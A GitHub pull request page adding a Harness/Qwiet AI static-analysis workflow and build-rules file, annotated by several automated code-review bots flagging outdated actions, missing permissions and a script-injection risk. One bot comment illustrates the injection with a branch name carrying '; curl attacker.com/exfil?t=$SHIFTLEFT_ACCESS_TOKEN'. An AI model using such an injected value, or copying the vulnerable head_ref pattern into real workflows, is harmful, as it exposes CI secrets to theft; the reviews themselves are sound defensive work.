Skip to content

Add GitHub Action: Qwiet AI by Harness Static Analysis #62

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
LCSOGthb wants to merge 2 commits into
base: main
Choose a base branch
from
Open

Add GitHub Action: Qwiet AI by Harness Static Analysis #62

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
b52d55c
adding ShiftLeft action workflow config
Jul 26, 2026
eb3ec0c
adding Qwiet AI by Harness Static Analysis action workflow config
Jul 26, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
62 changes: 62 additions & 0 deletions .github/workflows/shiftleft.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
---
# This workflow integrates Harness SAST and SCA with GitHub
# Visit https://docs.shiftleft.io for help
name: Harness SAST and SCA

on:
pull_request:
workflow_dispatch:

jobs:
NextGen-Static-Analysis:
runs-on: ubuntu-latest

@cubic-dev-ai cubic-dev-ai Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: This workflow does not define a permissions block, so it inherits the repository's default GITHUB_TOKEN permissions (which may be overly broad). Add an explicit permissions block at the workflow or job level to follow the principle of least privilege. A minimal starting point would be:

permissions:
  contents: read
Prompt for AI agents 
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 12:

<comment>This workflow does not define a `permissions` block, so it inherits the repository's default `GITHUB_TOKEN` permissions (which may be overly broad). Add an explicit permissions block at the workflow or job level to follow the principle of least privilege. A minimal starting point would be:
```yaml
permissions:
  contents: read
```</comment>

<file context>
@@ -0,0 +1,62 @@
+
+jobs:
+  NextGen-Static-Analysis:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v3
</file context>

steps:
- uses: actions/checkout@v3

@qltysh qltysh Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Found 2 issues:

1. credential persistence through GitHub Actions artifacts [zizmor:zizmor/artipacked]


2. the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue [actionlint:action]

@cubic-dev-ai cubic-dev-ai Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3: Using actions/checkout@v3 is outdated. The latest release is v7.0.1 and other workflows in this repo already use v4+. Update to actions/checkout@v4 to pick up security fixes and performance improvements.

Prompt for AI agents 
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 14:

<comment>Using `actions/checkout@v3` is outdated. The latest release is v7.0.1 and other workflows in this repo already use v4+. Update to `actions/checkout@v4` to pick up security fixes and performance improvements.</comment>

<file context>
@@ -0,0 +1,62 @@
+  NextGen-Static-Analysis:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v3
+    - name: Setup Java JDK v8
+      uses: actions/setup-java@v3
</file context>

- name: Setup Java JDK v8
uses: actions/setup-java@v3

@qltysh qltysh Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

the runner of "actions/setup-java@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue [actionlint:action]

@cubic-dev-ai cubic-dev-ai Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3: Using actions/setup-java@v3 is outdated. The latest stable version is v5. Upgrade to benefit from newer Node.js runtime, updated dependencies, and security patches.

Prompt for AI agents 
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 16:

<comment>Using `actions/setup-java@v3` is outdated. The latest stable version is v5. Upgrade to benefit from newer Node.js runtime, updated dependencies, and security patches.</comment>

<file context>
@@ -0,0 +1,62 @@
+    steps:
+    - uses: actions/checkout@v3
+    - name: Setup Java JDK v8
+      uses: actions/setup-java@v3
+      with:
+        distribution: zulu
</file context>
Suggested change
uses: actions/setup-java@v3
uses: actions/setup-java@v5

with:
distribution: zulu
java-version: 8

- name: Download Harness SAST and SCA CLI
run: |
curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl

- name: Static Analysis

Check failure on line 25 in .github/workflows/shiftleft.yml

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

.github/workflows/shiftleft.yml#L25 

Ensure run commands are not vulnerable to shell injection
run: |

Check failure on line 26 in .github/workflows/shiftleft.yml

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

.github/workflows/shiftleft.yml#L26 

Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner.

@qltysh qltysh Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs\.github\.com/en/actions/reference/security/secure\-use\#good\-practices\-for\-mitigating\-script\-injection\-attacks for more details [actionlint:expression]

${GITHUB_WORKSPACE}/sl --version
${GITHUB_WORKSPACE}/sl analyze --strict --wait \
--app Games \
--tag branch=${{ github.head_ref }} \

Check failure on line 30 in .github/workflows/shiftleft.yml

View check run for this annotation

SonarQubeCloud / SonarCloud Code Analysis

The expression github.head_ref can be set by an external actor to a specially crafted value, enabling script injection. Change this workflow to not use user-controlled data directly in a run block, for example by assigning this expression to an environment variable. 


See more on https://sonarcloud.io/project/issues?id=LCSOGthb_Clown&issues=AZ-dT9Sms2nL8M0g-QFt&open=AZ-dT9Sms2nL8M0g-QFt&pullRequest=62

@qltysh qltysh Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

code injection via template expansion [zizmor:zizmor/template-injection]

@sentry sentry Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bug: The workflow will fail or produce untagged results when run manually via workflow_dispatch because github.head_ref will be empty, resulting in an invalid --tag branch= argument.
Severity: MEDIUM

Suggested Fix

Use a fallback value for the branch tag to ensure it is populated for both pull_request and workflow_dispatch triggers. Replace ${{ github.head_ref }} with ${{ github.head_ref || github.ref_name }} to use the branch or tag name when head_ref is not available.

Prompt for AI Agent 
Review the code at the location below. A potential bug has been identified by an AI
agent. Verify if this is a real issue. If it is, propose a fix; if not, explain why it's
not valid.

Location: .github/workflows/shiftleft.yml#L30

Potential issue: The workflow is configured to run on both `pull_request` and
`workflow_dispatch` events. The command on line 30 uses the `github.head_ref` context
variable to set a branch tag. This variable is only populated for `pull_request` events
and is empty when the workflow is triggered manually via `workflow_dispatch`.
Consequently, a manual run will execute the command with an empty branch tag (`--tag
branch=`). Due to the `--strict` flag, this is likely to cause the workflow step to
fail, or at best, will result in analysis findings that are not correctly attributed to
any branch.

Did we get this right? 👍 / 👎 to inform future reviews.

@cubic-dev-ai cubic-dev-ai Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: Using ${{ github.head_ref }} directly in a run: script is vulnerable to script injection. A malicious PR branch name containing shell metacharacters (e.g., ; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN) could execute arbitrary commands with access to the SHIFTLEFT_ACCESS_TOKEN secret.

Pass the value through an environment variable instead:

env:
  BRANCH: ${{ github.head_ref || github.ref_name }}

Then reference it as $BRANCH in the script.

Prompt for AI agents 
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 30:

<comment>Using `${{ github.head_ref }}` directly in a `run:` script is vulnerable to script injection. A malicious PR branch name containing shell metacharacters (e.g., `; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN`) could execute arbitrary commands with access to the `SHIFTLEFT_ACCESS_TOKEN` secret.

Pass the value through an environment variable instead:
```yaml
env:
  BRANCH: ${{ github.head_ref || github.ref_name }}

Then reference it as $BRANCH in the script.

@@ -0,0 +1,62 @@ + ${GITHUB_WORKSPACE}/sl --version + ${GITHUB_WORKSPACE}/sl analyze --strict --wait \ + --app Games \ + --tag branch=${{ github.head_ref }} \ + --js $(pwd) -- --ts + env: ```

@cubic-dev-ai cubic-dev-ai Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: When this workflow is triggered via workflow_dispatch, github.head_ref is empty (it's only populated for pull_request events). This results in --tag branch= being passed with no value, which combined with --strict will likely cause the step to fail.

Use a fallback: ${{ github.head_ref || github.ref_name }}

Prompt for AI agents 
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 30:

<comment>When this workflow is triggered via `workflow_dispatch`, `github.head_ref` is empty (it's only populated for `pull_request` events). This results in `--tag branch=` being passed with no value, which combined with `--strict` will likely cause the step to fail.

Use a fallback: `${{ github.head_ref || github.ref_name }}`</comment>

<file context>
@@ -0,0 +1,62 @@
+        ${GITHUB_WORKSPACE}/sl --version
+        ${GITHUB_WORKSPACE}/sl analyze --strict --wait \
+          --app Games \
+          --tag branch=${{ github.head_ref }} \
+          --js $(pwd) -- --ts
+      env:
</file context>

--js $(pwd) -- --ts

@cubic-dev-ai cubic-dev-ai Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: The --js flag is deprecated in the ShiftLeft CLI in favor of --jssrc. The new workflow starts with a deprecated flag — replace --js with --jssrc to use the recommended, actively maintained option.

Prompt for AI agents 
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 31:

<comment>The `--js` flag is deprecated in the ShiftLeft CLI in favor of `--jssrc`. The new workflow starts with a deprecated flag — replace `--js` with `--jssrc` to use the recommended, actively maintained option.</comment>

<file context>
@@ -0,0 +1,62 @@
+        ${GITHUB_WORKSPACE}/sl analyze --strict --wait \
+          --app Games \
+          --tag branch=${{ github.head_ref }} \
+          --js $(pwd) -- --ts
+      env:
+        SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }}
</file context>

env:
SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }}
SHIFTLEFT_API_HOST: www.shiftleft.io
SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443
SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443

# Build-Rules:
# runs-on: ubuntu-latest
# permissions: write-all

Check warning on line 40 in .github/workflows/shiftleft.yml

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

.github/workflows/shiftleft.yml#L40 

Ensure top-level permissions are not set to write-all
# needs: NextGen-Static-Analysis
# steps:
# - uses: actions/checkout@v3
# - name: Download Harness SAST and SCA CLI
# run: |
# curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl
# - name: Validate Build Rules
# run: |
# ${GITHUB_WORKSPACE}/sl check-analysis --app Games \
# --github-pr-number=${{github.event.number}} \
# --github-pr-user=${{ github.repository_owner }} \
# --github-pr-repo=${{ github.event.repository.name }} \
# --github-token=${{ secrets.GITHUB_TOKEN }}
# env:
# # SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }}
#
# SHIFTLEFT_API_HOST: www.shiftleft.io
# SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443
# SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443
#
Comment on lines +12 to +60


@qltysh qltysh Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

overly broad permissions [zizmor:zizmor/excessive-permissions]

15 changes: 15 additions & 0 deletions shiftleft.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
version: 2

@cubic-dev-ai cubic-dev-ai Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: This file is placed in .github/workflows/ but is not a valid GitHub Actions workflow — it's a Qwiet AI build rules config file missing required name, on, and jobs keys. GitHub will treat it as an invalid workflow and fail to parse it. Move this file to the repo root as ./shiftleft.yml (the conventional location for V2 build rules), or create a proper workflow file if you intend to run SAST via GitHub Actions.

Prompt for AI agents 
Check if this issue is valid — if so, understand the root cause and fix it. At shiftleft.yml, line 1:

<comment>This file is placed in `.github/workflows/` but is not a valid GitHub Actions workflow — it's a Qwiet AI build rules config file missing required `name`, `on`, and `jobs` keys. GitHub will treat it as an invalid workflow and fail to parse it. Move this file to the repo root as `./shiftleft.yml` (the conventional location for V2 build rules), or create a proper workflow file if you intend to run SAST via GitHub Actions.</comment>

<file context>
@@ -0,0 +1,15 @@
+version: 2
+build_rules:
+  - id: Allow no critical findings
</file context>

@cubic-dev-ai cubic-dev-ai Bot Jul 26, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: Build rules defined in shiftleft.yml (blocking critical-severity findings, limiting OSS/container vulns, blocking reachable OSS vulnerabilities) are not enforced by the CI pipeline. The Build-Rules job in .github/workflows/shiftleft.yml that runs sl check-analysis --app Games against PR results is completely commented out. This means the ruleset is shipped to the repository but has no effect — PRs with critical findings will not be blocked. Either uncomment and enable the Build-Rules job, or remove the shiftleft.yml file if enforcement is not intended.

Prompt for AI agents 
Check if this issue is valid — if so, understand the root cause and fix it. At shiftleft.yml, line 3:

<comment>Build rules defined in `shiftleft.yml` (blocking critical-severity findings, limiting OSS/container vulns, blocking reachable OSS vulnerabilities) are not enforced by the CI pipeline. The `Build-Rules` job in `.github/workflows/shiftleft.yml` that runs `sl check-analysis --app Games` against PR results is completely commented out. This means the ruleset is shipped to the repository but has no effect — PRs with critical findings will not be blocked. Either uncomment and enable the Build-Rules job, or remove the `shiftleft.yml` file if enforcement is not intended.</comment>

<file context>
@@ -0,0 +1,15 @@
+version: 2
+build_rules:
+  - id: Allow no critical findings
+    severities:
+      - critical
</file context>

build_rules:
- id: Allow no critical findings
severities:
- critical
- id: Allow one OSS or container finding
finding_types:
- oss_vuln
- container
threshold: 1
- id: Allow no reachable OSS vulnerability
finding_types:
- oss_vuln
options:
reachable: true
Loading